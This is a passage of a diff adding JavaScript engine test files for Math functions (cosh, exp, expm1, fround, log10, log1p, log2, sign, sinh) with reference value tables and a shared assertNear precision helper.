+ [6.710763953621196, 410.59948730468756],
+ [6.711256159037373, 410.8016357421876],
+ [6.712054288828399, 411.12963867187494],
+ [6.713939407502346, 411.9053955078124],
+ [6.722828986708716, 415.5833740234374],
+ [6.727835453862132, 417.66918945312506],
+ [6.734632628835641, 420.51782226562506],
+ [6.743787740494532, 424.38537597656233],
+ [6.744565219553757, 424.71545410156244],
+ [6.7715720212680655, 436.3419189453125],
+ [6.776510146304201, 438.50195312500017],
+ [6.778412462065226, 439.33691406250017],
+ [6.79247934060035, 445.5606689453126],
+ [6.809016260337229, 452.9901123046875],
+ [6.810747231716348, 453.7749023437499],
+ [6.817335895109251, 456.7745361328125],
+ [6.819910421197311, 457.9520263671875],
+ [6.821497844004013, 458.6795654296874],
+ [6.8254946428721475, 460.51647949218767],
+ [6.828433164406687, 461.87170410156256],
+ [6.834543470287694, 464.70251464843756],
+ [6.839609377592375, 467.06262207031267],
+ [6.839627933844213, 467.0712890625001],
+ [6.846084943645239, 470.09692382812494],
+ [6.856799276049143, 475.16076660156233],
+ [6.861822721577315, 477.5537109374998],
+ [6.864066049482581, 478.62622070312517],
+ [6.864420497333681, 478.79589843750017],
+ [6.866278653973069, 479.68640136718733],
+ [6.866487814627139, 479.7867431640625],
+ [6.8667493311188395, 479.9122314453126],
+ [6.872084270243208, 482.4793701171875],
+ [6.872164723177875, 482.5181884765627],
+ [6.874982560453874, 483.87976074218767],
+ [6.876191234145179, 484.46496582031233],
+ [6.877966548833207, 485.3258056640624],
+ [6.888721726428236, 490.57373046875006],
+ [6.89515989558997, 493.74230957031244],
+ [6.896232568812718, 494.2722167968751],
+ [6.900624415355815, 496.44775390624983],
+ [6.901816998553275, 497.0401611328125],
+ [6.9042162822876465, 498.23413085937483],
+ [7.193052598670793, 665.0791015625001],
+ [7.758155143419732, 1170.29150390625],
+ [8.323023697145112, 2058.795898437501],
+ [9.36298131161099, 5824.533203125004],
+ [9.810748008110926, 9114.308593750004],
+ [11.047341056314202, 31388.40624999998],
+ [11.584925435512535, 53732.765624999956],
+ [12.366958539207397, 117455.0937500001],
+ [13.107089828327874, 246210.62499999983],
+ [13.84248373881162, 513670.1250000003],
+ [14.27084873575108, 788353.2499999999],
+ [15.060339852215408, 1736170.999999999],
+ [15.835873313657556, 3770530.0000000005],
+ [15.977474039173265, 4344089.999999998],
+ [16.943967899150145, 11419360.000000006],
+ [17.943394339560967, 31023239.99999997],
+ [18.214035936745432, 40665424.00000006],
+ [19.374560581709215, 129788063.99999991],
+ [19.927723623778547, 225668224.00000027],
+ [20.619308638400597, 450631936.0000006],
+ [21.129986093026698, 750941952.0000008],
+ [22.05159150215413, 1887358976.0000033],
+ [22.734966842639743, 3738011648.0000052],
+ [23.42954051928097, 7486695423.99999],
+ [23.955498471391667, 12668080127.99998],
+ [24.591055724582848, 23918272512],
+ [25.305424481799395, 48862560256.00005],
+ [26.150535181949436, 113763549183.99998],
+ [26.499894449532565, 161334755328.00018],
+ [27.19075733422632, 321933279232.0004],
+ [27.989721778208146, 715734122496],
+ [28.953212876533797, 1875817529343.9976],
+];
+
+for (var [x, y] of cosh_data)
+ assertNear(Math.cosh(x), y);
+
+for (var i = -20; i < 20; i++)
+ assertNear(Math.cosh(i), (Math.exp(i) + Math.exp(-i)) / 2);
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/Math/cosh-exact.js b/js/src/tests/non262/Math/cosh-exact.js
new file mode 100644
index 0000000000..a302776c4f
--- /dev/null
+++ b/js/src/tests/non262/Math/cosh-exact.js
@@ -0,0 +1,19 @@
+// Properties of Math.cosh that are guaranteed by the spec.
+
+// If x is NaN, the result is NaN.
+assertEq(Math.cosh(NaN), NaN);
+
+// If x is +0, the result is 1.
+assertEq(Math.cosh(+0), 1);
+
+// If x is −0, the result is 1.
+assertEq(Math.cosh(-0), 1);
+
+// If x is +∞, the result is +∞.
+assertEq(Math.cosh(Infinity), Infinity);
+
+// If x is −∞, the result is +∞.
+assertEq(Math.cosh(-Infinity), Infinity);
+
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/Math/exp-exact.js b/js/src/tests/non262/Math/exp-exact.js
new file mode 100644
index 0000000000..e004f74718
--- /dev/null
+++ b/js/src/tests/non262/Math/exp-exact.js
@@ -0,0 +1,29 @@
+// Properties of Math.exp that are guaranteed by the spec.
+
+// If x is NaN, the result is NaN.
+assertEq(Math.exp(NaN), NaN);
+
+// If x is +0, the result is 1.
+assertEq(Math.exp(+0), 1);
+
+// If x is −0, the result is 1.
+assertEq(Math.exp(-0), 1);
+
+// If x is +∞, the result is +∞.
+assertEq(Math.exp(Infinity), Infinity);
+
+// If x is −∞, the result is +0.
+assertEq(Math.exp(-Infinity), +0);
+
+
+// Not guaranteed by the specification, but generally assumed to hold.
+
+// If x is 1, the result is Math.E.
+assertEq(Math.exp(1), Math.E);
+
+// If x is -1, the result is 1/Math.E.
+assertEq(Math.exp(-1), 1 / Math.E);
+
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Math/expm1-approx.js b/js/src/tests/non262/Math/expm1-approx.js
new file mode 100644
index 0000000000..397ab97ebf
--- /dev/null
+++ b/js/src/tests/non262/Math/expm1-approx.js
@@ -0,0 +1,62 @@
+assertNear(Math.expm1(1e-300), 1e-300);
+assertNear(Math.expm1(1e-100), 1e-100);
+assertNear(Math.expm1(1e-14), 1.000000000000005e-14);
+assertNear(Math.expm1(1e-6), 0.0000010000005000001665);
+
+var expm1_data = [
+ [ -1.875817529344e-70, -1.875817529344e-70 ],
+ [ -7.09962844069878e-15, -7.099628440698755e-15 ],
+ [ -2.114990849122478e-10, -2.1149908488988187e-10 ],
+ [ -0.0000031404608812881633, -0.000003140455950046052 ],
+
+ [ -0.0000011039855962733358, -0.0000011039849868814618 ],
+ [ -0.000015114666893502755, -0.0000151145526675006 ],
+ [ -0.000033870281179478836, -0.000033869707587981166 ],
+ [ -0.00043952149320897676, -0.00043942491778698985 ],
+ [ -0.005553725496786973, -0.005538332073473123 ],
+ [ -0.05122020579778827, -0.049930563302241604 ],
+ [ -0.4721357117742938, -0.3763311320344197 ],
+ [ -1.2781607348262256, -0.7214508446489242 ],
+
+ [ 1.875817529344e-70, 1.875817529344e-70 ],
+ [ 6.261923313140869e-30, 6.261923313140869e-30 ],
+ [ 7.09962844069878e-15, 7.099628440698805e-15 ],
+ [ 1.3671879628418538e-12, 1.3671879628427884e-12 ],
+ [ 2.114990849122478e-10, 2.1149908493461373e-10 ],
+ [ 1.6900931765206906e-8, 1.6900931908027652e-8 ],
+ [ 0.0000031404608812881633, 0.0000031404658125405988 ],
+
+ [ 0.0000011039855962733358, 0.0000011039862056656584 ],
+ [ 0.000015114666893502755, 0.000015114781120655907 ],
+ [ 0.000033870281179478836, 0.00003387085478392845 ],
+ [ 0.00043952149320897676, 0.0004396180969330924 ],
+ [ 0.005553725496786973, 0.005569176019645543 ],
+ [ 0.05122020579778827, 0.05255464640120383 ],
+ [ 0.4721357117742938, 0.6034149712523235 ],
+ [ 1.2781607348262256, 2.590030631181154 ],
+
+ [ 3.0693960800487883, 20.528897017773147 ],
+ [ 5.560441648750136, 258.9376120972927 ],
+ [ 7.4227656046482595, 1672.6557833191303 ],
+ [ 11.378926299184645, 87458.07941992789 ],
+];
+
+for (var [x, y] of expm1_data)
+ assertNear(Math.expm1(x), y);
+
+var sloppy_tolerance = 34;
+
+var expm1_data_sloppy = [
+ [ 20.11881628179155, 546375092.2355127 ],
+ [ 33.45034324980283, 336743709091858.2 ],
+ [ 46.43974518513109, 147409364838076710000 ],
+ [ 54.60105936314322, 5.163435870507142e+23 ],
+ [ 84.29619209850242, 4.067907545704549e+36 ],
+ [ 125.38131800315817, 2.8340959047812913e+54 ],
+ [ 216.85489905212918, 1.5096839294759775e+94 ],
+];
+
+for (var [x, y] of expm1_data_sloppy)
+ assertNear(Math.expm1(x), y, sloppy_tolerance);
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/Math/expm1-exact.js b/js/src/tests/non262/Math/expm1-exact.js
new file mode 100644
index 0000000000..57b94ed225
--- /dev/null
+++ b/js/src/tests/non262/Math/expm1-exact.js
@@ -0,0 +1,20 @@
+// Properties of Math.expm1 that are guaranteed by the spec.
+
+// If x is NaN, the result is NaN.
+assertEq(Math.expm1(NaN), NaN);
+
+// If x is +0, the result is +0.
+assertEq(Math.expm1(+0), +0);
+
+// If x is −0, the result is −0.
+assertEq(Math.expm1(-0), -0);
+
+// If x is +∞, the result is +∞.
+assertEq(Math.expm1(Infinity), Infinity);
+
+// If x is −∞, the result is -1.
+assertEq(Math.expm1(-Infinity), -1);
+
+
+reportCompare(0, 0, "ok");
+
diff --git a/js/src/tests/non262/Math/expm1-monotonicity.js b/js/src/tests/non262/Math/expm1-monotonicity.js
new file mode 100644
index 0000000000..2ae25708d1
--- /dev/null
+++ b/js/src/tests/non262/Math/expm1-monotonicity.js
@@ -0,0 +1,94 @@
+var BUGNUMBER = 897634;
+var summary = "expm1 should be monotonically increasing";
+
+print(BUGNUMBER + ": " + summary);
+
+function test(x, prev, next) {
+ assertEq(Math.expm1(prev) <= Math.expm1(x), true);
+ assertEq(Math.expm1(x) <= Math.expm1(next), true);
+}
+
+// Thresholds in fdlibm expm1 implementation.
+
+// |hx| == 0x40862E42 or not
+test(-709.7822265625, -709.7822265625001, -709.7822265624999);
+test(709.7822265625, 709.7822265624999, 709.7822265625001);
+
+// |hx| == 0x4043687A or not
+test(-38.81622314453125, -38.81622314453126, -38.81622314453124);
+test(38.81622314453125, 38.81622314453124, 38.81622314453126);
+
+// |hx| == 0x7ff00000 or not
+test(-1.7976931348623157e+308, -Infinity, -1.7976931348623155e+308);
+test(1.7976931348623157e+308, 1.7976931348623155e+308, Infinity);
+
+// |hx| == 0x3fd62e42 or not
+test(-0.3465733528137207, -0.34657335281372076, -0.34657335281372065);
+test(0.3465733528137207, 0.34657335281372065, 0.34657335281372076);
+
+// |hx| == 0x3FF0A2B2 or not
+test(-1.0397205352783203, -1.0397205352783205, -1.03972053527832);
+test(1.0397205352783203, 1.03972053527832, 1.0397205352783205);
+
+// |hx| == 0x3c900000 or not
+test(-5.551115123125783e-17, -5.551115123125784e-17, -5.551115123125782e-17);
+test(5.551115123125783e-17, 5.551115123125782e-17, 5.551115123125784e-17);
+
+// x < -0.25 or not
+test(-0.25, -0.25000000000000006, -0.24999999999999997);
+
+// k == -1 or k == -2
+test(-1.0397207708399179, -1.039720770839918, -1.0397207708399177);
+
+// k == -1 or k == 0
+test(-0.3465735912322998, -0.34657359123229986, -0.34657359123229975);
+
+// k == 0 or k == 1
+test(0.3465735912322998, 0.34657359123229975, 0.34657359123229986);
+
+// k == 1 or k == 2
+test(1.039720770839918, 1.0397207708399179, 1.0397207708399183);
+
+// k == 19 or k == 20
+test(13.516370020918933, 13.51637002091893, 13.516370020918934);
+
+// k == 56 or k == 57
+test(39.16281570163691, 39.1628157016369, 39.162815701636916);
+
+// k == 1023 or k == 1024
+test(709.436139303104, 709.4361393031039, 709.4361393031041);
+
+// k == 1024 or more
+test(709.7827128933841, 709.782712893384, 709.7827128933842);
+
+// Some more random cases.
+test(-1.7976931348623157e+308, -Infinity, -1.7976931348623155e+308);
+test(-1e+223, -1.0000000000000002e+223, -9.999999999999999e+222);
+test(-1e+100, -1.0000000000000002e+100, -9.999999999999998e+99);
+test(-10000000000, -10000000000.000002, -9999999999.999998);
+test(-100000, -100000.00000000001, -99999.99999999999);
+test(-100, -100.00000000000001, -99.99999999999999);
+test(-10, -10.000000000000002, -9.999999999999998);
+test(-1, -1, -0.9999999999999999);
+test(-0.01, -0.010000000000000002, -0.009999999999999998);
+test(-0.00001, -0.000010000000000000003, -0.000009999999999999999);
+test(-1e-10, -1.0000000000000002e-10, -9.999999999999999e-11);
+test(-1e-100, -1.0000000000000001e-100, -9.999999999999999e-101);
+test(-5e-324, -1e-323, 0);
+test(0, -5e-324, 5e-324);
+test(5e-324, 0, 1e-323);
+test(1e-100, 9.999999999999999e-101, 1.0000000000000001e-100);
+test(1e-10, 9.999999999999999e-11, 1.0000000000000002e-10);
+test(0.00001, 0.000009999999999999999, 0.000010000000000000003);
+test(0.01, 0.009999999999999998, 0.010000000000000002);
+test(1, 0.9999999999999999, 1);
+test(10, 9.999999999999998, 10.000000000000002);
+test(100, 99.99999999999999, 100.00000000000001);
+test(100000, 99999.99999999999, 100000.00000000001);
+test(10000000000, 9999999999.999998, 10000000000.000002);
+test(1e+100, 9.999999999999998e+99, 1.0000000000000002e+100);
+test(1e+223, 9.999999999999999e+222, 1.0000000000000002e+223);
+test(1.7976931348623157e+308, 1.7976931348623155e+308, Infinity);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Math/fround.js b/js/src/tests/non262/Math/fround.js
new file mode 100644
index 0000000000..353f798d5d
--- /dev/null
+++ b/js/src/tests/non262/Math/fround.js
@@ -0,0 +1,81 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+// Some tests regarding conversion to Float32
+assertEq(Math.fround(), NaN);
+
+// Special values
+assertEq(Math.fround(NaN), NaN);
+assertEq(Math.fround(-Infinity), -Infinity);
+assertEq(Math.fround(Infinity), Infinity);
+assertEq(Math.fround(-0), -0);
+assertEq(Math.fround(+0), +0);
+
+// Polyfill function for Float32 conversion
+var toFloat32 = (function() {
+ var f32 = new Float32Array(1);
+ function f(x) {
+ f32[0] = x;
+ return f32[0];
+ }
+ return f;
+})();
+
+// A test on a certain range of numbers, including big numbers, so that
+// we get a loss in precision for some of them.
+for (var i = 0; i < 64; ++i) {
+ var p = Math.pow(2, i) + 1;
+ assertEq(Math.fround(p), toFloat32(p));
+ assertEq(Math.fround(-p), toFloat32(-p));
+}
+
+/********************************************
+/* Tests on maximal Float32 / Double values *
+/*******************************************/
+function maxValue(exponentWidth, significandWidth) {
+ var n = 0;
+ var maxExp = Math.pow(2, exponentWidth - 1) - 1;
+ for (var i = significandWidth; i >= 0; i--)
+ n += Math.pow(2, maxExp - i);
+ return n;
+}
+
+var DBL_MAX = maxValue(11, 52);
+assertEq(DBL_MAX, Number.MAX_VALUE); // sanity check
+
+// Finite as a double, too big for a float
+assertEq(Math.fround(DBL_MAX), Infinity);
+
+var FLT_MAX = maxValue(8, 23);
+assertEq(Math.fround(FLT_MAX), FLT_MAX);
+assertEq(Math.fround(FLT_MAX + Math.pow(2, Math.pow(2, 8 - 1) - 1 - 23 - 2)), FLT_MAX); // round-nearest rounds down to FLT_MAX
+assertEq(Math.fround(FLT_MAX + Math.pow(2, Math.pow(2, 8 - 1) - 1 - 23 - 1)), Infinity); // no longer rounds down to FLT_MAX
+
+/*********************************************************
+/******* Tests on denormalizations and roundings *********
+/********************************************************/
+
+function minValue(exponentWidth, significandWidth) {
+ return Math.pow(2, -(Math.pow(2, exponentWidth - 1) - 2) - significandWidth);
+}
+
+var DBL_MIN = Math.pow(2, -1074);
+assertEq(DBL_MIN, Number.MIN_VALUE); // sanity check
+
+// Too small for a float
+assertEq(Math.fround(DBL_MIN), 0);
+
+var FLT_MIN = minValue(8, 23);
+assertEq(Math.fround(FLT_MIN), FLT_MIN);
+
+assertEq(Math.fround(FLT_MIN / 2), 0); // halfway, round-nearest rounds down to 0 (even)
+assertEq(Math.fround(FLT_MIN / 2 + Math.pow(2, -202)), FLT_MIN); // first double > FLT_MIN / 2, rounds up to FLT_MIN
+
+assertEq(Math.fround(-FLT_MIN), -FLT_MIN);
+
+assertEq(Math.fround(-FLT_MIN / 2), -0); // halfway, round-nearest rounds up to -0 (even)
+assertEq(Math.fround(-FLT_MIN / 2 - Math.pow(2, -202)), -FLT_MIN); // first double < -FLT_MIN / 2, rounds down to -FLT_MIN
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/Math/log10-approx.js b/js/src/tests/non262/Math/log10-approx.js
new file mode 100644
index 0000000000..0489448513
--- /dev/null
+++ b/js/src/tests/non262/Math/log10-approx.js
@@ -0,0 +1,9 @@
+assertNear(Math.log10(2), 0.3010299956639812);
+assertNear(Math.log10(7), 0.8450980400142568);
+assertNear(Math.log10(Math.E), Math.LOG10E);
+
+for (var i = -10; i < 10; i++)
+ assertNear(Math.log10(Math.pow(10, i)), i);
+
+reportCompare(0, 0, 'ok');
+
diff --git a/js/src/tests/non262/Math/log10-exact.js b/js/src/tests/non262/Math/log10-exact.js
new file mode 100644
index 0000000000..0c125306bf
--- /dev/null
+++ b/js/src/tests/non262/Math/log10-exact.js
@@ -0,0 +1,30 @@
+// Properties of Math.log10 that are guaranteed by the spec.
+
+// If x is NaN, the result is NaN.
+assertEq(Math.log10(NaN), NaN);
+
+// If x is less than 0, the result is NaN.
+assertEq(Math.log10(-1e-10), NaN);
+assertEq(Math.log10(-1e-5), NaN);
+assertEq(Math.log10(-1e-1), NaN);
+assertEq(Math.log10(-Number.MIN_VALUE), NaN);
+assertEq(Math.log10(-Number.MAX_VALUE), NaN);
+assertEq(Math.log10(-Infinity), NaN);
+
+for (var i = -1; i > -10; i--)
+ assertEq(Math.log10(i), NaN);
+
+// If x is +0, the result is −∞.
+assertEq(Math.log10(+0), -Infinity);
+
+// If x is −0, the result is −∞.
+assertEq(Math.log10(-0), -Infinity);
+
+// If x is 1, the result is +0.
+assertEq(Math.log10(1), +0);
+
+// If x is +∞, the result is +∞.
+assertEq(Math.log10(Infinity), Infinity);
+
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/non262/Math/log1p-approx.js b/js/src/tests/non262/Math/log1p-approx.js
new file mode 100644
index 0000000000..f1d120af68
--- /dev/null
+++ b/js/src/tests/non262/Math/log1p-approx.js
@@ -0,0 +1,20 @@
+assertNear(Math.log1p(1e-300), 1e-300);
+assertNear(Math.log1p(1e-15), 9.999999999999995e-16);
+assertNear(Math.log1p(1e-6), 9.999995000003334e-7);
+
+var log1p_data = [
+ [ 1.875817529344e-70, 1.875817529344e-70 ],
+ [ 6.261923313140869e-30, 6.261923313140869e-30 ],
+ [ 7.09962844069878e-15, 7.099628440698755e-15 ],
+ [ 1.3671879628418538e-12, 1.3671879628409192e-12 ],
+ [ 2.114990849122478e-10, 2.1149908488988187e-10 ],
+ [ 1.6900931765206906e-8, 1.690093162238616e-8 ],
+ [ 0.0000709962844069878, 0.00007099376429006658 ],
+ [ 0.0016793412882520897, 0.00167793277137076 ],
+ [ 0.011404608812881634, 0.011340066517988035 ],
+];
+
+for (var [x, y] of log1p_data)
+ assertNear(Math.log1p(x), y);
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/Math/log1p-exact.js b/js/src/tests/non262/Math/log1p-exact.js
new file mode 100644
index 0000000000..bec11b6597
--- /dev/null
+++ b/js/src/tests/non262/Math/log1p-exact.js
@@ -0,0 +1,29 @@
+// Properties of Math.log1p that are guaranteed by the spec.
+
+// If x is NaN, the result is NaN.
+assertEq(Math.log1p(NaN), NaN);
+
+// If x is less than -1, the result is NaN.
+assertEq(Math.log1p(-1 - 1e-10), NaN);
+assertEq(Math.log1p(-1 - 1e-5), NaN);
+assertEq(Math.log1p(-1 - 1e-1), NaN);
+assertEq(Math.log1p(-ONE_PLUS_EPSILON), NaN);
+
+for (var i = -2; i > -20; i--)
+ assertEq(Math.log1p(i), NaN);
+
+// If x is -1, the result is -∞.
+assertEq(Math.log1p(-1), -Infinity);
+
+// If x is +0, the result is +0.
+assertEq(Math.log1p(+0), +0);
+
+// If x is −0, the result is −0.
+assertEq(Math.log1p(-0), -0);
+
+// If x is +∞, the result is +∞.
+assertEq(Math.log1p(Infinity), Infinity);
+
+
+reportCompare(0, 0, "ok");
+
diff --git a/js/src/tests/non262/Math/log2-approx.js b/js/src/tests/non262/Math/log2-approx.js
new file mode 100644
index 0000000000..954f4c1cf9
--- /dev/null
+++ b/js/src/tests/non262/Math/log2-approx.js
@@ -0,0 +1,8 @@
+for (var i = -1074; i < 1023; i++)
+ assertNear(Math.log2(Math.pow(2, i)), i);
+
+assertNear(Math.log2(5), 2.321928094887362);
+assertNear(Math.log2(7), 2.807354922057604);
+assertNear(Math.log2(Math.E), Math.LOG2E);
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/Math/log2-exact.js b/js/src/tests/non262/Math/log2-exact.js
new file mode 100644
index 0000000000..160034ddb8
--- /dev/null
+++ b/js/src/tests/non262/Math/log2-exact.js
@@ -0,0 +1,30 @@
+// Properties of Math.log2 that are guaranteed by the spec.
+
+// If x is NaN, the result is NaN.
+assertEq(Math.log2(NaN), NaN);
+
+// If x is less than 0, the result is NaN.
+assertEq(Math.log2(-1e-10), NaN);
+assertEq(Math.log2(-1e-5), NaN);
+assertEq(Math.log2(-1e-1), NaN);
+assertEq(Math.log2(-Number.MIN_VALUE), NaN);
+assertEq(Math.log2(-Number.MAX_VALUE), NaN);
+assertEq(Math.log2(-Infinity), NaN);
+
+for (var i = -1; i > -10; i--)
+ assertEq(Math.log2(i), NaN);
+
+// If x is +0, the result is −∞.
+assertEq(Math.log2(+0), -Infinity);
+
+// If x is −0, the result is −∞.
+assertEq(Math.log2(-0), -Infinity);
+
+// If x is 1, the result is +0.
+assertEq(Math.log2(1), +0);
+
+// If x is +∞, the result is +∞.
+assertEq(Math.log2(Infinity), Infinity);
+
+
+reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/non262/Math/shell.js b/js/src/tests/non262/Math/shell.js
new file mode 100644
index 0000000000..7a64eccac9
--- /dev/null
+++ b/js/src/tests/non262/Math/shell.js
@@ -0,0 +1,74 @@
+// The nearest representable values to +1.0.
+const ONE_PLUS_EPSILON = 1 + Math.pow(2, -52); // 0.9999999999999999
+const ONE_MINUS_EPSILON = 1 - Math.pow(2, -53); // 1.0000000000000002
+
+{
+ const fail = function (msg) {
+ var exc = new Error(msg);
+ try {
+ // Try to improve on exc.fileName and .lineNumber; leave exc.stack
+ // alone. We skip two frames: fail() and its caller, an assertX()
+ // function.
+ var frames = exc.stack.trim().split("\n");
+ if (frames.length > 2) {
+ var m = /@([^@:]*):([0-9]+)$/.exec(frames[2]);
+ if (m) {
+ exc.fileName = m[1];
+ exc.lineNumber = +m[2];
+ }
+ }
+ } catch (ignore) { throw ignore;}
+ throw exc;
+ };
+
+ let ENDIAN; // 0 for little-endian, 1 for big-endian.
+
+ // Return the difference between the IEEE 754 bit-patterns for a and b.
+ //
+ // This is meaningful when a and b are both finite and have the same
+ // sign. Then the following hold:
+ //
+ // * If a === b, then diff(a, b) === 0.
+ //
+ // * If a !== b, then diff(a, b) === 1 + the number of representable values
+ // between a and b.
+ //
+ const f = new Float64Array([0, 0]);
+ const u = new Uint32Array(f.buffer);
+ const diff = function (a, b) {
+ f[0] = a;
+ f[1] = b;
+ //print(u[1].toString(16) + u[0].toString(16) + " " + u[3].toString(16) + u[2].toString(16));
+ return Math.abs((u[3-ENDIAN] - u[1-ENDIAN]) * 0x100000000 + u[2+ENDIAN] - u[0+ENDIAN]);
+ };
+
+ // Set ENDIAN to the platform's endianness.
+ ENDIAN = 0; // try little-endian first
+ if (diff(2, 4) === 0x100000) // exact wrong answer we'll get on a big-endian platform
+ ENDIAN = 1;
+ assertEq(diff(2,4), 0x10000000000000);
+ assertEq(diff(0, Number.MIN_VALUE), 1);
+ assertEq(diff(1, ONE_PLUS_EPSILON), 1);
+ assertEq(diff(1, ONE_MINUS_EPSILON), 1);
+
+ var assertNear = function assertNear(a, b, tolerance=1) {
+ if (!Number.isFinite(b)) {
+ fail("second argument to assertNear (expected value) must be a finite number");
+ } else if (Number.isNaN(a)) {
+ fail("got NaN, expected a number near " + b);
+ } else if (!Number.isFinite(a)) {
+ if (b * Math.sign(a) < Number.MAX_VALUE)
+ fail("got " + a + ", expected a number near " + b);
+ } else {
+ // When the two arguments do not have the same sign bit, diff()
+ // returns some huge number. So if b is positive or negative 0,
+ // make target the zero that has the same sign bit as a.
+ var target = b === 0 ? a * 0 : b;
+ var err = diff(a, target);
+ if (err > tolerance) {
+ fail("got " + a + ", expected a number near " + b +
+ " (relative error: " + err + ")");
+ }
+ }
+ };
+}
diff --git a/js/src/tests/non262/Math/sign.js b/js/src/tests/non262/Math/sign.js
new file mode 100644
index 0000000000..5552dfc3d4
--- /dev/null
+++ b/js/src/tests/non262/Math/sign.js
@@ -0,0 +1,34 @@
+// If x is NaN, the result is NaN.
+assertEq(Math.sign(NaN), NaN);
+
+// If x is −0, the result is −0.
+assertEq(Math.sign(-0), -0);
+
+// If x is +0, the result is +0.
+assertEq(Math.sign(+0), +0);
+
+// If x is negative and not −0, the result is −1.
+assertEq(Math.sign(-Number.MIN_VALUE), -1);
+assertEq(Math.sign(-Number.MAX_VALUE), -1);
+assertEq(Math.sign(-Infinity), -1);
+
+for (var i = -1; i > -20; i--)
+ assertEq(Math.sign(i), -1);
+
+assertEq(Math.sign(-1e-300), -1);
+assertEq(Math.sign(-0x80000000), -1);
+
+// If x is positive and not +0, the result is +1.
+assertEq(Math.sign(Number.MIN_VALUE), +1);
+assertEq(Math.sign(Number.MAX_VALUE), +1);
+assertEq(Math.sign(Infinity), +1);
+
+for (var i = 1; i < 20; i++)
+ assertEq(Math.sign(i), +1);
+
+assertEq(Math.sign(+1e-300), +1);
+assertEq(Math.sign(0x80000000), +1);
+assertEq(Math.sign(0xffffffff), +1);
+
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/Math/sinh-approx.js b/js/src/tests/non262/Math/sinh-approx.js
new file mode 100644
index 0000000000..15170dc666
--- /dev/null
+++ b/js/src/tests/non262/Math/sinh-approx.js
@@ -0,0 +1,297 @@
+for (var i = -20; i < 20; i++)
+ assertNear(Math.sinh(i), (Math.exp(i) - Math.exp(-i)) / 2);
+
+assertEq(Math.sinh(1000), Infinity);
+assertEq(Math.sinh(Number.MAX_VALUE), Infinity);
+assertNear(Math.sinh(1e-30), 1e-30);
+assertNear(Math.sinh(1e-10), 1e-10);
+
+var sinh_data = [
+ [-6.902103625349695, -497.1816406250001],
+ [-6.898143347143859, -495.21655273437517],
+ [-6.883664481302669, -488.0980224609375],
+ [-6.880304842490273, -486.46093750000006],
+ [-6.871561546509046, -482.2261962890624],
+ [-6.841973895837549, -468.167236328125],
+ [-6.836376331805493, -465.5539550781251],
+ [-6.833654100575195, -464.2883300781251],
+ [-6.8320816635009045, -463.55883789062483],
+ [-6.8108680173663085, -453.82861328125],
+ [-6.799689165151487, -448.78356933593756],
+ [-6.793579326246197, -446.0499267578126],
+ [-6.762510387544996, -432.4046630859374],
+ [-6.743225720989222, -424.14575195312506],
+ [-6.691758395994307, -402.86828613281244],
+ [-6.690743430063694, -402.4595947265625],
+ [-6.6596501292114505, -390.1383056640624],
+ [-6.652956360641761, -387.5355224609375],
+ [-6.635954365364267, -381.00231933593767],
+ [-6.619587562578274, -374.81726074218744],
+ [-6.617681179427804, -374.10339355468744],
+ [-6.614762741096185, -373.0131835937501],
+ [-6.60690568753706, -370.0938720703124],
+ [-6.591738907156094, -364.5230712890626],
+ [-6.583066984213974, -361.3756103515625],
+ [-6.573999516974134, -358.1136474609374],
+ [-6.553610904389896, -350.8861083984376],
+ [-6.553097634736138, -350.7060546875001],
+ [-6.538320325468202, -345.56164550781267],
+ [-6.529090881007076, -342.386962890625],
+ [-6.527791927233787, -341.94250488281256],
+ [-6.514383886150781, -337.38830566406244],
+ [-6.488639771044976, -328.8133544921875],
+ [-6.480460592697477, -326.13488769531256],
+ [-6.439759999015992, -313.1274414062499],
+ [-6.434927968512049, -311.61804199218744],
+ [-6.4082177348965725, -303.4047851562501],
+ [-6.369671035834965, -291.93200683593756],
+ [-6.362310184909175, -289.79101562500006],
+ [-6.356373428913315, -288.0756835937499],
+ [-6.337756593913614, -282.76220703125006],
+ [-6.32424009706147, -278.96594238281256],
+ [-6.314232650754295, -276.18811035156256],
+ [-6.290994606392703, -269.8439941406249],
+ [-6.240182555852785, -256.4750976562499],
+ [-6.2102675039793604, -248.9161987304687],
+ [-6.197335184435549, -245.71783447265628],
+ [-6.194021350132335, -244.90490722656253],
+ [-6.184119163536406, -242.4917602539062],
+ [-6.104686221071835, -223.97491455078116],
+ [-6.100669325836893, -223.07702636718747],
+ [-6.093582856519022, -221.50177001953122],
+ [-6.0598807500687935, -214.16101074218741],
+ [-6.0062142965262515, -202.97058105468741],
+ [-5.9923121073369945, -200.1683349609375],
+ [-5.981859446096083, -198.08691406249997],
+ [-5.9497792165852905, -191.83300781250006],
+ [-5.90509449745879, -183.44958496093747],
+ [-5.902097012275789, -182.90051269531256],
+ [-5.8144483910067954, -167.55175781250006],
+ [-5.786154254111214, -162.8773803710938],
+ [-5.765917008989405, -159.61425781250006],
+ [-5.703902219845274, -150.0162963867188],
+ [-5.6926689504460395, -148.34051513671872],
+ [-5.685206387751923, -147.23760986328122],
+ [-5.660572815631807, -143.6548461914062],
+ [-5.625516713960633, -138.70599365234375],
+ [-5.476934234171879, -119.55416870117192],
+ [-5.467584665632571, -118.4415588378906],
+ [-5.417932675603434, -112.70410156250004],
+ [-5.406565756574079, -111.43020629882811],
+ [-5.373195678988387, -107.77297973632808],
+ [-5.3723285712183735, -107.67956542968749],
+ [-5.348004040102253, -105.09179687499999],
+ [-5.31087758970896, -101.261474609375],
+ [-5.255348419702703, -95.79150390624997],
+ [-5.206986845736275, -91.26885986328122],
+ [-5.162914035396619, -87.33349609375003],
+ [-5.052952927749896, -78.23873901367186],
+ [-5.048772883924985, -77.91235351562501],
+ [-5.034848487644809, -76.83489990234378],
+ [-4.808269821238499, -61.25564575195312],
+ [-4.689849459883311, -54.413803100585945],
+ [-4.476720236388958, -43.96719360351561],
